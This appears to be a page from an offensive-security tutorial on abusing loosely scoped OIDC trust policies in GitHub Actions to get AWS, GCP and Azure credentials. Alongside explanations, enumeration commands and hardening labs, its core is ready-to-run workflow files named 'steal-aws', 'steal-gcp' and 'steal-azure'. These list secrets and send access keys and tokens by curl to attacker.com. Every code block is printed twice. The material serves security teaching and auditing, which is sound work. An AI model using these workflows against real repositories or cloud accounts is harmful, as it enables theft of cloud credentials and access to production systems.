Advanced

OIDC & Cloud CI/CD Attacks

Modern CI/CD uses OIDC tokens to authenticate to cloud providers without storing long-lived credentials. Misconfigured trust policies are a goldmine for attackers.

High-Value Target

OIDC federation replaces static API keys with short-lived tokens. But weak trust policies mean ANY workflow in a repo (or even forked PRs) can assume cloud roles with production access.

How CI/CD OIDC Works

🔄
1. CI Job Starts
GitHub/GitLab generates JWT
🎫
2. Present Token
JWT sent to cloud provider
☁️
3. Get Creds
Cloud returns temp credentials

GitHub Actions OIDC Token

GitHub generates a JWT with claims about the workflow. Cloud providers validate these claims:

bash
# Decoded GitHub Actions OIDC Token (JWT payload):
{
  "iss": "https://token.actions.githubusercontent.com",
  "sub": "repo:org/repo-name:ref:refs/heads/main",
  "aud": "https://github.com/org",
  "ref": "refs/heads/main",
  "sha": "abc123...",
  "repository": "org/repo-name",
  "repository_owner": "org",
  "actor": "username",
  "workflow": "deploy.yml",
  "event_name": "push",
  "ref_type": "branch",
  "job_workflow_ref": "org/repo-name/.github/workflows/deploy.yml@refs/heads/main",
  "runner_environment": "github-hosted"
}

# KEY INSIGHT: If cloud trust policy only checks "repository" 
# and not "ref" or "environment", ANY branch can get creds!
# Decoded GitHub Actions OIDC Token (JWT payload):
{
  "iss": "https://token.actions.githubusercontent.com",
  "sub": "repo:org/repo-name:ref:refs/heads/main",
  "aud": "https://github.com/org",
  "ref": "refs/heads/main",
  "sha": "abc123...",
  "repository": "org/repo-name",
  "repository_owner": "org",
  "actor": "username",
  "workflow": "deploy.yml",
  "event_name": "push",
  "ref_type": "branch",
  "job_workflow_ref": "org/repo-name/.github/workflows/deploy.yml@refs/heads/main",
  "runner_environment": "github-hosted"
}

# KEY INSIGHT: If cloud trust policy only checks "repository" 
# and not "ref" or "environment", ANY branch can get creds!

AWS OIDC Exploitation

Weak Trust Policy

bash
// VULNERABLE - Only checks repository, not branch!
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "Federated": "arn:aws:iam::123456789:oidc-provider/token.actions.githubusercontent.com"
    },
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "token.actions.githubusercontent.com:sub": "repo:company/app:*"  // WILDCARD!
      }
    }
  }]
}

// ATTACK: Create any workflow in ANY branch, get AWS creds
// Even pull_request from fork might work if conditions are loose
// VULNERABLE - Only checks repository, not branch!
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "Federated": "arn:aws:iam::123456789:oidc-provider/token.actions.githubusercontent.com"
    },
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "token.actions.githubusercontent.com:sub": "repo:company/app:*"  // WILDCARD!
      }
    }
  }]
}

// ATTACK: Create any workflow in ANY branch, get AWS creds
// Even pull_request from fork might work if conditions are loose

Exploiting AWS OIDC

bash
# .github/workflows/steal-aws.yml
name: Steal AWS
on: [push, pull_request]  # Runs on any push/PR

permissions:
  id-token: write   # Required for OIDC
  contents: read

jobs:
  pwn:
    runs-on: ubuntu-latest
    steps:
      - name: Configure AWS Credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789:role/GitHubActions
          aws-region: us-east-1
      
      - name: Exfiltrate
        run: |
          # You now have AWS creds!
          aws sts get-caller-identity
          aws s3 ls
          aws secretsmanager list-secrets
          
          # Exfil the credentials
          curl -X POST -d "aws_key=$AWS_ACCESS_KEY_ID" https://attacker.com/
          curl -X POST -d "aws_secret=$AWS_SECRET_ACCESS_KEY" https://attacker.com/
          curl -X POST -d "aws_token=$AWS_SESSION_TOKEN" https://attacker.com/
# .github/workflows/steal-aws.yml
name: Steal AWS
on: [push, pull_request]  # Runs on any push/PR

permissions:
  id-token: write   # Required for OIDC
  contents: read

jobs:
  pwn:
    runs-on: ubuntu-latest
    steps:
      - name: Configure AWS Credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789:role/GitHubActions
          aws-region: us-east-1
      
      - name: Exfiltrate
        run: |
          # You now have AWS creds!
          aws sts get-caller-identity
          aws s3 ls
          aws secretsmanager list-secrets
          
          # Exfil the credentials
          curl -X POST -d "aws_key=$AWS_ACCESS_KEY_ID" https://attacker.com/
          curl -X POST -d "aws_secret=$AWS_SECRET_ACCESS_KEY" https://attacker.com/
          curl -X POST -d "aws_token=$AWS_SESSION_TOKEN" https://attacker.com/

GCP Workload Identity

bash
# GCP uses Workload Identity Federation
# Vulnerable pool might allow any repo workflow

# .github/workflows/steal-gcp.yml
name: GCP Exploit
on: push

permissions:
  id-token: write
  contents: read

jobs:
  pwn:
    runs-on: ubuntu-latest
    steps:
      - uses: google-github-actions/auth@v2
        with:
          workload_identity_provider: 'projects/123/locations/global/workloadIdentityPools/github/providers/my-repo'
          service_account: 'github-actions@project.iam.gserviceaccount.com'
      
      - name: Exfil GCP
        run: |
          gcloud auth list
          gcloud projects list
          gcloud secrets list
          gcloud compute instances list
          
          # Get access token
          gcloud auth print-access-token | curl -X POST -d @- https://attacker.com/
# GCP uses Workload Identity Federation
# Vulnerable pool might allow any repo workflow

# .github/workflows/steal-gcp.yml
name: GCP Exploit
on: push

permissions:
  id-token: write
  contents: read

jobs:
  pwn:
    runs-on: ubuntu-latest
    steps:
      - uses: google-github-actions/auth@v2
        with:
          workload_identity_provider: 'projects/123/locations/global/workloadIdentityPools/github/providers/my-repo'
          service_account: 'github-actions@project.iam.gserviceaccount.com'
      
      - name: Exfil GCP
        run: |
          gcloud auth list
          gcloud projects list
          gcloud secrets list
          gcloud compute instances list
          
          # Get access token
          gcloud auth print-access-token | curl -X POST -d @- https://attacker.com/

Azure OIDC Federation

bash
# Azure uses Federated Identity Credentials
# Weak config might trust entire org or repo without branch restrictions

# .github/workflows/steal-azure.yml  
name: Azure Exploit
on: push

permissions:
  id-token: write
  contents: read

jobs:
  pwn:
    runs-on: ubuntu-latest
    steps:
      - uses: azure/login@v1
        with:
          client-id: ${{ secrets.AZURE_CLIENT_ID }}
          tenant-id: ${{ secrets.AZURE_TENANT_ID }}
          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
      
      - name: Exfil Azure
        run: |
          az account show
          az keyvault list
          az keyvault secret list --vault-name target-vault
          az storage account list
          
          # Get access token
          az account get-access-token --query accessToken -o tsv | \
            curl -X POST -d @- https://attacker.com/
# Azure uses Federated Identity Credentials
# Weak config might trust entire org or repo without branch restrictions

# .github/workflows/steal-azure.yml  
name: Azure Exploit
on: push

permissions:
  id-token: write
  contents: read

jobs:
  pwn:
    runs-on: ubuntu-latest
    steps:
      - uses: azure/login@v1
        with:
          client-id: ${{ secrets.AZURE_CLIENT_ID }}
          tenant-id: ${{ secrets.AZURE_TENANT_ID }}
          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
      
      - name: Exfil Azure
        run: |
          az account show
          az keyvault list
          az keyvault secret list --vault-name target-vault
          az storage account list
          
          # Get access token
          az account get-access-token --query accessToken -o tsv | \
            curl -X POST -d @- https://attacker.com/

Enumeration

bash
# Search for OIDC usage in workflows
grep -r "id-token: write" .github/workflows/
grep -r "role-to-assume" .github/workflows/
grep -r "workload_identity_provider" .github/workflows/
grep -r "azure/login" .github/workflows/

# Check AWS IAM for OIDC providers (requires AWS access)
aws iam list-open-id-connect-providers
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <arn>

# Check trust policies on roles
aws iam get-role --role-name GitHubActionsRole --query 'Role.AssumeRolePolicyDocument'

# Look for wildcards in conditions - VULNERABLE!
# "sub": "repo:org/*"  
# "sub": "repo:org/repo:*"

# GCP - Check workload identity pools
gcloud iam workload-identity-pools list --location=global
gcloud iam workload-identity-pools providers list --workload-identity-pool=<pool> --location=global
# Search for OIDC usage in workflows
grep -r "id-token: write" .github/workflows/
grep -r "role-to-assume" .github/workflows/
grep -r "workload_identity_provider" .github/workflows/
grep -r "azure/login" .github/workflows/

# Check AWS IAM for OIDC providers (requires AWS access)
aws iam list-open-id-connect-providers
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <arn>

# Check trust policies on roles
aws iam get-role --role-name GitHubActionsRole --query 'Role.AssumeRolePolicyDocument'

# Look for wildcards in conditions - VULNERABLE!
# "sub": "repo:org/*"  
# "sub": "repo:org/repo:*"

# GCP - Check workload identity pools
gcloud iam workload-identity-pools list --location=global
gcloud iam workload-identity-pools providers list --workload-identity-pool=<pool> --location=global

Attack Scenarios

Fork + PR Attack

If OIDC trust doesn't exclude forks, attacker forks repo, creates workflow, opens PR → gets cloud creds

Branch Bypass

Trust policy only checks repo, not branch. Attacker pushes to feature branch → assumes prod role

Workflow Injection

Attacker injects into existing workflow via PR title/body command injection → OIDC creds stolen

Org-Wide Trust

Trust policy uses org wildcard. Compromise ANY repo in org → access to shared cloud role

Tools

OIDC Federation Trust Flow (with Attack Points)

flowchart LR GH["🐙 GitHub Actions\nWorkflow Run"] -->|"1. Request OIDC Token"| IDP["🔑 GitHub OIDC Provider\ntoken.actions.githubusercontent.com"] IDP -->|"2. JWT with Claims\nsub, aud, ref, sha"| GH GH -->|"3. Present Token"| STS["☁️ Cloud STS\nAWS STS / Azure AD / GCP IAM"] STS -->|"4. Validate Trust Policy"| TPTrust Policy Check TP -->|"✅ Claims Match"| CREDS["🎯 Temp Cloud Creds\nAssumeRole / Token"] TP -->|"❌ Denied"| FAIL["🚫 Access Denied"] CREDS --> CLOUD["☁️ Cloud Resources\nS3, RDS, Key Vault..."] style IDP fill:#fef3c7,stroke:#d97706 style TP fill:#fce7f3,stroke:#db2777 style CREDS fill:#fee2e2,stroke:#dc2626 style CLOUD fill:#dcfce7,stroke:#16a34a

Common Misconfiguration

The #1 OIDC vulnerability is overly broad trust policies. If your AWS trust policy only checks the OIDC issuer but doesn't restrict the sub claim to specific repos/branches, any GitHub Actions workflow from any public repo can assume your role.

OIDC Federation Attack Labs

Practice OIDC trust exploitation across cloud providers.

AWS OIDC Trust Policy Exploitation Custom Lab hard
Create an AWS IAM role with a GitHub OIDC trust policy (intentionally broad)From a different repo, run a workflow that requests an OIDC tokenUse the token to assume the target role and list S3 bucketsTighten the policy: add sub condition for specific repo:refVerify the attack is now blocked with the restricted policy
OIDC Claim Enumeration Custom Lab medium
Use Prowler to scan for overly permissive OIDC trust policiesDecode a GitHub OIDC token and examine all claimsMap which claims are available for trust policy conditionsWrite a custom policy that locks to repo + branch + environment

📋 Framework Alignment

OWASP CI/CD: CICD-SEC-5 (Insufficient PBAC), CICD-SEC-6 (Insufficient Credential Hygiene) | MITRE ATT&CK: T1078.004 (Cloud Accounts), T1550.001 (Application Access Token) | CIS Controls: 6.3 (Require MFA for Admin Access), 16.7 (Developer Training)